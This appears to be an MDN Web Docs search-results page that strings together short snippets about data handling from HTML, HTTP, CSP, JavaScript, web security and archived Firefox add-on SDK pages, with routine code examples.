<audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for non supporting browsers goes here --> <a href="audiofile.mp3">download audio</a> <object width="320" height="30" type="application/x-shockwave-flash" data="flashmediaelement.swf"> <param name="movie" value="flashmediaelement.swf" /> <param name="flashvars" value="controls=true&isvideo=false&file=audiofile.mp3" /> </object> </audio> the process is very similar with video — just remember to set isvideo=true in the flashvars value parameters.
... it's also possible to feed an <audio> element a base64 encoded wav file, allowing to generate audio on the fly: <audio id="player" src="data:audio/x-wav;base64,uklgrvc..."></audio> speak.js employs this technique.
... web audio api var context; var request; var source; try { context = new audiocontext(); request = new xmlhttprequest(); request.open("get","http://jplayer.org/audio/mp3/riomez-01-sleep_together.mp3",true); request.responsetype = "arraybuffer"; request.onload = function() { context.decodeaudiodata(request.response, function(buffer) { source = context.createbuffersource(); source.buffer = buffer; source.connect(context.destination); // auto play source.start(0); // start was previously noteon }); }; request.send(); } catch(e) { alert('web audio api not supported'); } in this example we retrieve an mp3 file via xhr, load it int...
... the main mechanism is outlined below: navigator.mediadevices.getusermedia({audio:true}) .then(function onsuccess(stream) { var recorder = new mediarecorder(stream); var data = []; recorder.ondataavailable = function(e) { data.push(e.data); }; recorder.start(); recorder.onerror = function(e) { throw e.error || new error(e.name); // e.name is ff non-spec } recorder.onstop = function(e) { var audio = document.createelement('audio'); audio.src = window.url.createobjecturl(new blob(data)); } settimeout(function() { ...
Developer guides
having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video.
... using formdata objects the formdata object lets you compile a set of key/value pairs to send using xmlhttprequest.
... it's primarily intended for sending form data, but can be used independently from forms to transmit keyed data.
... the transmission is in the same format that the form's submit() method would use to send the data if the form's encoding type were set to "multipart/form-data".
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
can be used with or without a value: without a value, the browser will suggest a filename/extension, generated from various sources: the content-disposition http header the final segment in the url path the media type (from the (content-type header, the start of a data: url, or blob.type for a blob: url) defining a value suggests it as the filename.
... notes: download only works for same-origin urls, or the blob: and data: schemes.
... using the download attribute to save a <canvas> as a png to save a <canvas> element’s contents as an image, you can create a link with a download attribute and the canvas data as a data: url: example painting app with save link html <p>paint by holding down the mouse button and moving it.
...{ c.beginpath(); c.arc(x, y, 10, 0, math.pi*2); c.closepath(); c.fill(); } } canvas.addeventlistener('mousemove', event => draw(event.offsetx, event.offsety) ); canvas.addeventlistener('mousedown', () => isdrawing = true); canvas.addeventlistener('mouseup', () => isdrawing = false); document.queryselector('a').addeventlistener('click', event => event.target.href = canvas.todataurl() ); result security and privacy <a> elements can have consequences for users’ security and privacy.
<table>: The Table element - HTML: Hypertext Markup Language
WebHTMLElementtable
the html <table> element represents tabular data — that is, information presented in a two-dimensional table comprised of rows and columns of cells containing data.
...r> </table> <p>table with colgroup and col</p> <table> <colgroup> <col style="background-color: #0f0"> <col span="2"> </colgroup> <tr> <th>lime</th> <th>lemon</th> <th>orange</th> </tr> <tr> <td>green</td> <td>yellow</td> <td>orange</td> </tr> </table> <p>simple table with caption</p> <table> <caption>awesome caption</caption> <tr> <td>awesome data</td> </tr> </table> table { border-collapse: collapse; border-spacing: 0px; } table, th, td { padding: 5px; border: 1px solid black; } accessibility concerns captions by supplying a <caption> element whose value clearly and concisely describes the table's purpose, it helps the people decide if they need to read the rest of the table content or skip over it.
... mdn tables for visually impaired users tables with two headers • tables • w3c wai web accessibility tutorials tables with irregular headers • tables • w3c wai web accessibility tutorials h63: using the scope attribute to associate header cells and data cells in data tables | w3c techniques for wcag 2.0 complicated tables assistive technology such as screen readers may have difficulty parsing tables that are so complex that header cells can’t be associated in a strictly horizontal or vertical way.
... mdn tables for visually impaired users tables with multi-level headers • tables • w3c wai web accessibility tutorials h43: using id and headers attributes to associate data cells with header cells in data tables | techniques for w3c wcag 2.0 specifications specification status comment html living standardthe definition of 'table element' in that specification.
itemref - HTML: Hypertext Markup Language
note: the itemref attribute is not part of the microdata data model.
... it is merely a syntactic construct to aid authors in adding annotations to pages where the data to be annotated does not follow a convenient tree structure.
... for example, it allows authors to mark up data in a table so that each column defines a separate item while keeping the properties in the cells.
... example html <div itemscope id="amanda" itemref="a b"></div> <p id="a">name: <span itemprop="name">amanda</span> </p> <div id="b" itemprop="band" itemscope itemref="c"></div> <div id="c"> <p>band: <span itemprop="name">jazz band</span> </p> <p>size: <span itemprop="size">12</span> players</p> </div> structured data (in json-ld format) { "@id": "amanda", "name": "amanda", "band": { "@id": "b", "name": "jazz band", "size": 12 } } result specifications specification status comment html microdatathe definition of 'itemref' in that specification.
Content Security Policy (CSP) - HTTP
WebHTTPCSP
content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks.
... these attacks are used for everything from data theft to site defacement to distribution of malware.
...a complete data transmission security strategy includes not only enforcing https for data transfer, but also marking all cookies with the secure attribute and providing automatic redirects from http pages to their https counterparts.
... violation report syntax the report json object contains the following data: blocked-uri the uri of the resource that was blocked from loading by the content security policy.
Compression in HTTP - HTTP
file format compression each data type has some redundancy, that is wasted space, in it.
...unlike text, these other media types use lot of space to store their data and the need to optimize storage and regain space was apparent very early.
...compression algorithms used for files can be grouped into two broad categories: loss-less compression, where the compression-uncompression cycle doesn't alter the data that is recovered.
... lossy compression, where the cycle alters the original data in a (hopefully) imperceptible way for the user.
CSP: base-uri - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: connect-src - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: default-src - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: font-src - HTTP
you can also specify data schemas (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: frame-ancestors - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: frame-src - HTTP
you can also specify data schemas (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: img-src - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: manifest-src - HTTP
you can also specify data schemas (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: media-src - HTTP
you can also specify data schemas (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: navigate-to - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: prefetch-src - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: script-src-attr - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: script-src-elem - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: script-src - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: style-src-attr - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: style-src-elem - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
CSP: style-src - HTTP
you can also specify data schemes (not recommended).
... data: allows data: uris to be used as a content source.
... this is insecure; an attacker can also inject arbitrary data: uris.
...sites needing to allow these content types can specify them using the data attribute.
POST - HTTP
WebHTTPMethodsPOST
the http post method sends data to the server.
...non-alphanumeric characters in both keys and values are percent encoded: this is the reason why this type is not suitable to use with binary data (use multipart/form-data instead) multipart/form-data: each value is sent as a block of data ("body part"), with a user agent-defined delimiter ("boundary") separating each part.
...as described in the http 1.1 specification, post is designed to allow a uniform method to cover the following functions: annotation of existing resources posting a message to a bulletin board, newsgroup, mailing list, or similar group of articles; adding a new user through a signup modal; providing a block of data, such as the result of submitting a form, to a data-handling process; extending a database through an append operation.
...potent no cacheable only if freshness information is included allowed in html forms yes syntax post /test example a simple form using the default application/x-www-form-urlencoded content type: post /test http/1.1 host: foo.example content-type: application/x-www-form-urlencoded content-length: 27 field1=value1&field2=value2 a form using the multipart/form-data content type: post /test http/1.1 host: foo.example content-type: multipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-disposition: form-data; name="field2"; filename="example.txt" value2 --boundary-- specifications specification title rfc 7231, section 4.3.3: post hypertext transfer protocol ...
103 Early Hints - HTTP
WebHTTPStatus103
syntax 103 early hints specifications specification status comments rfc 8297: 103 early hints ietf rfc initial definition browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... no compatibility data found.
... please contribute data for "http.status.103" (depth: 1) to the mdn compatibility data repository.
Introduction - JavaScript
for example, server-side extensions allow an application to communicate with a database, provide continuity of information from one invocation to another of the application, or perform file manipulations on a server.
... in contrast to java's compile-time system of classes built by declarations, javascript supports a runtime system based on a small number of data types representing numeric, boolean, and string values.
... variable data types are not declared (dynamic typing, loosely typed).
... variable data types must be declared (static typing, strongly typed).
ArrayBuffer - JavaScript
the arraybuffer object is used to represent a generic, fixed-length raw binary data buffer.
... it is an array of bytes, often referred to in other languages as a "byte array".you cannot directly manipulate the contents of an arraybuffer; instead, you create one of the typed array objects or a dataview object which represents the buffer in a specific format, and use that to read and write the contents of the buffer.
...you can also get an array buffer from existing data, for example from a base64 string or from a local file.
... static methods arraybuffer.isview(arg) returns true if arg is one of the arraybuffer views, such as typed array objects or a dataview.
Object.defineProperties() - JavaScript
each value in props must be either a data descriptor or an accessor descriptor; it cannot be both (see object.defineproperty() for more details).
... data descriptors and accessor descriptors may optionally contain the following keys: configurable true if and only if the type of this property descriptor may be changed and if the property may be deleted from the corresponding object.
... a data descriptor also has the following optional keys: value the value associated with the property.
... if a descriptor has neither of value, writable, get and set keys, it is treated as a data descriptor.
SharedArrayBuffer - JavaScript
the sharedarraybuffer object is used to represent a generic, fixed-length raw binary data buffer, similar to the arraybuffer object, but in a way that they can be used to create views on shared memory.
...however, the shared data block referenced by the two sharedarraybuffer objects is the same data block, and a side effect to the block in one agent will eventually become visible in the other agent.
... apis which use sharedarraybuffer objects webglrenderingcontext.bufferdata() webglrenderingcontext.buffersubdata() webgl2renderingcontext.getbuffersubdata() security requirements shared memory and high-resolution timers were effectively disabled at the start of 2018 in light of spectre.
...raybuffer { bytelength: 1024 } sab.slice(2); // sharedarraybuffer { bytelength: 1022 } sab.slice(-2); // sharedarraybuffer { bytelength: 2 } sab.slice(0, 1); // sharedarraybuffer { bytelength: 1 } using it in a webgl buffer const canvas = document.queryselector('canvas'); const gl = canvas.getcontext('webgl'); const buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, sab, gl.static_draw); specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer' in that specification.
WebAssembly.Global() constructor - JavaScript
syntax new webassembly.global(descriptor, value); parameters descriptor a globaldescriptor dictionary object, which contains two properties: value: a usvstring representing the data type of the global.
...this can be any value, as long as its type matches the variable's data type.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
async function - JavaScript
consider the following code: function getprocesseddata(url) { return downloaddata(url) // returns a promise .catch(e => { return downloadfallbackdata(url) // returns a promise }) .then(v => { return processdatainworker(v) // returns a promise }) } it can be rewritten with a single async function as follows: async function getprocesseddata(url) { let v try { v = await downloaddata(url) } catch(e) { v = ...
...await downloadfallbackdata(url) } return processdatainworker(v) } in the above example, notice there is no await statement after the return keyword, although that would be valid too: the return value of an async function is implicitly wrapped in promise.resolve - if it's not already a promise itself (as in this example).
...it returns null if processdatainworker rejects with an error: async function getprocesseddata(url) { let v try { v = await downloaddata(url) } catch(e) { v = await downloadfallbackdata(url) } try { return await processdatainworker(v) // note the `return await` vs.
... just `return` } catch (e) { return null } } writing return processdatainworker(v) would have caused the promise returned by the function to reject, instead of resolving to null if processdatainworker(v) rejects.
Codecs used by WebRTC - Web media technologies
the webrtc api makes it possible to construct web sites and apps that let users communicate in real time, using audio and/or video as well as optional data and other information.
...this helps to avoid a jarring effect that can occur when voice activation and similar features cause a stream to stop sending data temporarily—a capability known as discontinuous transmission (dtx).
... with that in hand, we walk through the list of senders, looking for the first one whose mediastreamtrack indicates that it's track's kind is video, indicating that the track's data is video media.
...webrtc video is protected using datagram transport layer security (dtls), but it is theoretically possible for a motivated party to infer the amount of change that's occurring from frame to frame when using variable bit rate (vbr) codecs, by monitoring the stream's bit rate and how it changes over time.
OpenSearch description format
the uri may also use the data: uri scheme.
... (you can generate a data: uri from an icon file at the data: uri kitchen.) <image height="16" width="16" type="image/x-icon">https://example.com/favicon.ico</image> <!-- or --> <image height="16" width="16">data:image/x-icon;base64,aaabaaeaebaaa … daaa=</image> firefox caches the icon as a base64 data: uri (search plug-ins are stored in the profile's searchplugins/ folder).
... http: and https: urls are converted to data: uris when this is done.
... note: for icons loaded remotely (that is, from https:// uris as opposed to data: uris), firefox will reject icons larger than 10 kilobytes.
Introduction to progressive web apps - Progressive web apps (PWAs)
safe, so the connections between the user, the app, and your server are secured against any third parties trying to get access to sensitive data.
... discoverability the eventual aim is that web apps should have better representation in search engines, be easier to expose, catalog and rank, and have metadata usable by browsers to give them special capabilities.
... some of the capabilities have already been enabled on certain web-based platforms by proprietary technologies like open graph, which provides a format for specifying similar metadata in the html <head> block using <meta> tags.
... this is achieved using a combination of technologies: service workers to control page requests (for example storing them offline), the cache api for storing responses to network requests offline (very useful for storing site assets), and client-side data storage technologies such as web storage and indexeddb to store application data offline.
dominant-baseline - SVG: Scalable Vector Graphics
use-script the dominant-baseline and the baseline-table components are set by determining the predominant script of the character data content.
... <text dominant-baseline="text-top" x="70" y="270">text-top</text> <!-- materialization of anchors --> <circle cx="60" cy="20" r="3" fill="red" /> <circle cx="60" cy="70" r="3" fill="red" /> <circle cx="60" cy="120" r="3" fill="red" /> <circle cx="60" cy="170" r="3" fill="red" /> <circle cx="60" cy="220" r="3" fill="red" /> <circle cx="60" cy="270" r="3" fill="red" /> <style><![cdata[ text { font: bold 30px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of 'dominant-baseline' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
spreadMethod - SVG: Scalable Vector Graphics
recommendation initial definition for <lineargradient> browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... no compatibility data found.
... please contribute data for "svg.attributes.presentation.spreadmethod" (depth: 1) to the mdn compatibility data repository.
Certificate Transparency - Web security
background ct logs are built upon the foundation of the merkle tree data structure.
...leaf nodes contain hashes of actual pieces of data.
... in the context of certificate transparency, the data hashed by the leaf nodes are the certificates that have been issued by the various different cas operating today.
... with the latter methods, servers will need to be updated to send the required data.
Insecure passwords - Web security
the https protocol is designed to protect user data from eavesdropping (confidentiality) and from modification (integrity) on the network.
... websites that handle user data should use https to protect their users from attackers.
... note on password reuse sometimes websites require username and passwords but don't actually store data that is very sensitive.
... for example, a news site may save which news articles a user wants to go back to and read, but not save any other data about a user.
How to turn off form autocompletion - Web security
however, some data submitted in forms either are not useful in the future (for example, a one-time pin) or contain sensitive information (for example, a unique government identifier or credit card security code).
...ther for an entire form, or for specific input elements in a form: <form method="post" action="/form" autocomplete="off"> […] </form> <form method="post" action="/form"> […] <div> <label for="cc">credit card:</label> <input type="text" id="cc" name="cc" autocomplete="off"> </div> </form> setting autocomplete="off" on fields has two effects: it tells the browser not to save data inputted by the user for later autocompletion on similar forms, though heuristics for complying vary by browser.
... it stops the browser from caching form data in the session history.
... when form data is cached in session history, the information filled in by the user is shown in the case where the user has submitted the form and clicked the back button to go back to the original form page.
XML introduction - XML: Extensible Markup Language
this is a powerful way to store data in a format that can be stored, searched, and shared.
... most importantly, since the fundamental format of xml is standardized, if you share or transmit xml across systems or platforms, either locally or over the internet, the recipient can still parse the data due to the standardized xml syntax.
...it is used for the transmission of the meta-data of a document.
... displaying xml xml is usually used for descriptive purposes, but there are ways to display xml data.
Loading Content Scripts - Archive of obsolete content
to supply the file "my-content-script.js", located in the /data subdirectory under your add-on's root directory, use a line like: // "data" is supplied by the "self" module var data = require("sdk/self").data; ...
... contentscriptfile: data.url("my-content-script.js") both contentscript and contentscriptfile accept an array of strings, so you can load multiple scripts, which can also interact directly with each other in the content process: // "data" is supplied by the "self" module var data = require("sdk/self").data; ...
... contentscriptfile: [data.url("jquery-1.4.2.min.js"), data.url("my-content-script.js")] scripts specified using contentscriptfile are loaded before those specified using contentscript.
Reddit Example - Archive of obsolete content
this is the complete add-on script: var data = require("sdk/self").data; var button = require("sdk/ui/button/action").actionbutton({ id: "reddit-panel", label: "reddit panel", icon: "./icon-16.png", onclick: function() { reddit_panel.show(); } }); var reddit_panel = require("sdk/panel").panel({ width: 240, height: 320, contenturl: "http://www.reddit.com/.mobile?keep_extension=true", contentscriptfile: [data.url("jque...
...ry-2.1.0.min.js"), data.url("panel.js")] }); reddit_panel.port.on("click", function(url) { require("sdk/tabs").open(url); }); this code supplies two content scripts to the panel's constructor in the contentscriptfile option: the jquery library and the script that intercepts link clicks.
... to run this example you'll also have to have an icon file named "icon-16.png" saved in your add-on's "data" directory.
port - Archive of obsolete content
from the content script to the main add-on code: // content-script.js var mymessagepayload = "some data"; self.port.emit("mymessage", mymessagepayload); from the main add-on code to the content script: // main.js var mymessagepayload = "some data"; worker.port.emit("mymessage", mymessagepayload); on() the port.on() function registers a function as a listener for a particular message sent from the other side using port.emit().
...the button sends the content script a message called "get-first-para" when it is clicked: // main.js pageworker = require("sdk/page-worker").page({ contentscriptfile: require("sdk/self").data.url("listener.js"), contenturl: "http://en.wikipedia.org/wiki/chalk" }); require("sdk/ui/button/action").actionbutton({ id: "get-first-para", label: "get-first-para", icon: "./icon-16.png", onclick: function() { console.log("sending 'get-first-para'"); pageworker.port.emit("get-first-para"); } }); the content script listens for "get-first-para".
... for example, to include an array of strings in the payload: // main.js var pagemods = require("sdk/page-mod"); var self = require("sdk/self"); var pagemod = pagemods.pagemod({ include: ['*'], contentscriptfile: self.data.url("content-script.js"), onattach: setuplistener }); function setuplistener(worker) { worker.port.on('loaded', function(pageinfo) { console.log(pageinfo[0]); console.log(pageinfo[1]); }); } //content-script.js self.port.emit('loaded', [ document.location.tostring(), document.title ]); ...
self - Archive of obsolete content
note that the self object in content scripts is completely different from the self module, which provides an api for an add-on to access its data files and id.
... self properties options content-scripting apis such as tab.attach(), page-mod, and page-worker let you pass read-only data to the content script as a json object via the contentscriptoptions option.
... if you do this, the data is available to the content script in the options property of self: // main.js const tabs = require("sdk/tabs"); tabs.open({ url: "./page.html", onready: function(tab) { tab.attach({ contentscriptfile: "./content-script.js", contentscriptoptions: { a: "blah" } }); } }); // content-script.js alert(self.options.a); port you can use port to receive messages from, and send messages to, the main add-on code.
Communicating using "port" - Archive of obsolete content
accessing port accessing port in the content script note that the global self object is completely different from the self module, which provides an api for an add-on to access its data files and id.
... from the content script to the main add-on code: var mymessagepayload = "some data"; self.port.emit("mymessage", mymessagepayload); from the main add-on code (in this case a panel instance) to the content script: var mymessagepayload = "some data"; panel.port.emit("mymessage", mymessagepayload); port.on() the port.on() function registers a function as a listener for a specific named message sent from the other side using port.emit().
...the button sends the content script a message called "get-first-para" when it is clicked: pageworker = require("sdk/page-worker").page({ contentscriptfile: require("sdk/self").data.url("listener.js"), contenturl: "http://en.wikipedia.org/wiki/chalk" }); require("sdk/ui/button/action").actionbutton({ id: "get-first-para", label: "get-first-para", icon: "./icon-16.png", onclick: function() { console.log("sending 'get-first-para'"); pageworker.port.emit("get-first-para"); } }); the content script "listener.js" listens for "get-first-para".
ui - Archive of obsolete content
you initialize a frame with a url pointing to an html document supplied under your add-on's "data" directory.
...you initialize a sidebar with a url pointing to an html document supplied under your add-on's "data" directory.
... var ui = require("sdk/ui"); var sidebar = ui.sidebar({ id: 'my-sidebar', title: 'my sidebar', url: require("sdk/self").data.url("sidebar.html") }); it appears on the left of the content window: ...
High-Level APIs - Archive of obsolete content
base64 data encoding and decoding using base64 algorithms.
... self access data that is bundled with the add-on, and add-on metadata.
... simple-storage lets an add-on store data so that it's retained across firefox restarts.
loader/sandbox - Archive of obsolete content
data: urls are supported.
... load(scope, 'resource://path/to/my/script.js'); load(scope, 'file:///path/to/script.js'); load(scope, 'data:,var a = 5;'); globals functions sandbox(source) make a new sandbox that inherits principals from source.
...it must be a local chrome:, resource:, file: or data: url.
system/events - Archive of obsolete content
event : object an optional object with data and subject attributes.
... data refers to a string that you would like to pass through this event.
...this object has three attributes: type: the event type name subject: the event subject object data: the event data string strong : boolean default is false, a weak reference, which means it can be garbage collected at any time if there are no other references to it.
ui/button/toggle - Archive of obsolete content
method or the panel's constructor: var { togglebutton } = require('sdk/ui/button/toggle'); var panels = require("sdk/panel"); var self = require("sdk/self"); var button = togglebutton({ id: "my-button", label: "my button", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onchange: handlechange }); var panel = panels.panel({ contenturl: self.data.url("panel.html"), onhide: handlehide }); function handlechange(state) { if (state.checked) { panel.show({ position: button }); } } function handlehide() { button.state('window', {checked: false}); } disabling buttons you can disable a button by setting its disabled property to true.
...you can specify this in one of three ways: as a resource:// url pointing at an icon file in your add-on's "data" directory, typically constructed using self.data.url(iconfile) as a relative path: a string in the form "./iconfile", where "iconfile" is a relative path to the icon file beginning in your add-on's "data" directory as an object, or dictionary of key-value pairs.
... var { togglebutton } = require('sdk/ui/button/toggle'); var self = require("sdk/self"); var button1 = togglebutton({ id: "my-button1", label: "my button1", icon: self.data.url("firefox-16.png") }); var button2 = togglebutton({ id: "my-button2", label: "my button2", icon: "./firefox-16.png" }); var button3 = togglebutton({ id: "my-button3", label: "my button3", icon: { "16" : "./firefox-16.png", "32" : "./firefox-32.png", "64" : "./firefox-64.png" } }); if you use the final form, firefox will automatically c...
Creating Reusable Modules - Archive of obsolete content
sifileinputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/security/hash;1"] .createinstance(ci.nsicryptohash); // we want to use the md5 algorithm ch.init(ch.md5); // this tells updatefromstream to read the entire file const pr_uint32_max = 0xffffffff; ch.updatefromstream(istream, pr_uint32_max); // pass false here to get binary data back var hash = ch.finish(false); // convert the binary hash data to a hex string.
...sifileinputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/security/hash;1"] .createinstance(ci.nsicryptohash); // we want to use the md5 algorithm ch.init(ch.md5); // this tells updatefromstream to read the entire file const pr_uint32_max = 0xffffffff; ch.updatefromstream(istream, pr_uint32_max); // pass false here to get binary data back var hash = ch.finish(false); // convert the binary hash data to a hex string.
...sifileinputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/security/hash;1"] .createinstance(ci.nsicryptohash); // we want to use the md5 algorithm ch.init(ch.md5); // this tells updatefromstream to read the entire file const pr_uint32_max = 0xffffffff; ch.updatefromstream(istream, pr_uint32_max); // pass false here to get binary data back var hash = ch.finish(false); // convert the binary hash data to a hex string.
Display a Popup - Archive of obsolete content
onsists of seven files: package.json: created when you run jpm init index.js: the main add-on code, that creates the button and panel get-text.js: the content script that interacts with the panel content text-entry.html: the panel content itself, specified as html icon-16.png, icon-32.png, and icon-64.png: icons for the button in three different sizes the "index.js" looks like this: var data = require("sdk/self").data; // construct a panel, loading its content from the "text-entry.html" // file in the "data" directory, and loading the "get-text.js" script // into it.
... var text_entry = require("sdk/panel").panel({ contenturl: data.url("text-entry.html"), contentscriptfile: data.url("get-text.js") }); // create a button require("sdk/ui/button/action").actionbutton({ id: "show-panel", label: "show panel", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); // show the panel when the user clicks the button.
...s(); }); finally, the "text-entry.html" file defines the <textarea> element: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body { background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> </body> </html> finally, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png try it out: "index.js" is saved in the top level, and the other five files go in your add-on's data directory: my-addon/ data/ get-text.js icon-16.png icon-32.png icon-64.png text-entry.html index.js run the add-on, click the button, and you should see ...
Custom about: URLs - Archive of obsolete content
omponents; cm.queryinterface(ci.nsicomponentregistrar); components.utils.import("resource://gre/modules/services.jsm"); // globals const aboutpage_description = 'this is my custom about page'; const aboutpage_id = 'aa132730-2278-11e5-867f-0800200c9a66'; // make sure you generate a unique id from https://www.famkruithof.net/uuid/uuidgen const aboutpage_word = 'myaboutpage' const aboutpage_uri = 'data:text/html,hi this is the page that is shown when navigate to about:myaboutpage'; // const aboutpage_uri = 'chrome://myaboutaddon/content/index.html'; class aboutpage { static get classid() { return components.id(`{${aboutpage_id}}`); } static get classdescription() { return aboutpage_description; } static get contractid() { return `@mozilla.org/network/protocol/about;1?what=${aboutpage_wo...
... this.component.classdescription, this.component.contractid, this); } unregister() { cm.unregisterfactory(this.component.prototype.classid, this); } } instantiation firefox 4+ now in the startup procedure of your bootstrapped addon make sure to do register the factory, for example: let factory; function startup(adata, areason) { // ...
...} and then on shutdown of your bootstrapped addon make sure to destroy the factory: function shutdown(adata, areason) { if (areason == app_shutdown) { return } // ...
Extension Versioning, Update and Compatibility - Archive of obsolete content
in the install.rdf of the already installed add-on updateurl must be specified in one of the following ways: the updateurl uses https, or there is no updateurl at all (which defaults to addons.mozilla.org which is https) the updateurl uses http and the updatekey entry is specified which will be used to verify the data in the update manifest.
...this should be a hash generated against the file data using one of the supported hashing algorithms (sha1, sha256, sha384 and sha512).
...the resultant data is der encoded then base 64 encoded for inclusion in the update.rdf as an signature entry.
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
xml coding css coding basic javascript syntax xml: a text-based structural language extensible markup language (xml) is a meta-language for expressing various kinds of data.
... css: a style language to alter the display of xml documents like xml, cascading style sheets (css) is a technical specification established by the w3c; it is a style-description language defining the display of data marked up in xml and html.
...by separating the structure of the data, expressed through html or xml, and the display style, indicated by css, data can be reused better than it is when structural and stylistic markup are both embedded in html.
Adding windows and dialogs - Archive of obsolete content
in general, windows should not be resizable unless they display dynamically generated content from a datasource, such as lists or trees that may need resizing to have a better view of the content.
...you can also set persistence programatically using the document.persist function: document.persist("xulschoolhello-some-checkbox", "checked"); persistent data is stored in the user profile, in the file localstore.rdf.
... you may need to modify or delete this file often when testing persistent data in your extension.
MozOrientation - Archive of obsolete content
an event that is repeatedly fired on the window as accelerator data is provided to the browser.
... in firefox versions 3.6, 4, and 5 gecko utilized mozorientation which was also built to support orientation data but with different apis from the specified deviceorientationevent.
...t.gamma, evt.beta, and evt.alpha // according to dev.w3.org/geo/api/spec-source-orientation } window.addeventlistener('deviceorientation', orientationhandler, false); window.addeventlistener('mozorientation', orientationhandler, false); example window.addeventlistener("mozorientation", dofunc, true); the example below simply displays the raw accelerometer data in the browser window as the events arrive.
Autodial for Windows NT - Archive of obsolete content
these addresses are stored in an os database, the ras autodial addresses db, and a set of heuristics are used to determine if an address is already in the database or not.
... essentially, if some address at domain.com is in the database, then any address at domain.com is considered to be in the database.
... also, if any address that starts with www is in the database, then any other address that begins with www is considered to be in the database.
Protecting Mozilla's registry.dat file - Archive of obsolete content
in other windows versions, internet explorer (which is hard to kick off completely) likes to install "personnalized settings" when the user logs in for the first time, and this seems to have the interesting "side-effect" of wiping any non-microsoft subfolders from %userprofile%\application data, including mozilla's .
...in summary, you can use the following series of commands in your logon script (usually stored in /home/samba/netlogon/startup.bat on the server): rem ================================================== rem mozilla rem ================================================== attrib -r -s "%userprofile%\application data\mozilla" >nul 2>nul attrib -r -s "%userprofile%\application data\mozilla\registry.dat" >nul 2>nul mkdir "%userprofile%\application data" >nul 2>nul mkdir "%userprofile%\application data\mozilla" >nul 2>nul copy /b \\server\netlogon\template\"application data"\mozilla\registry.dat "%userprofile%\application data\mozilla" >nul 2>nul attrib +r +s "%userprofile%\application data\mozilla" >nul 2>nul a...
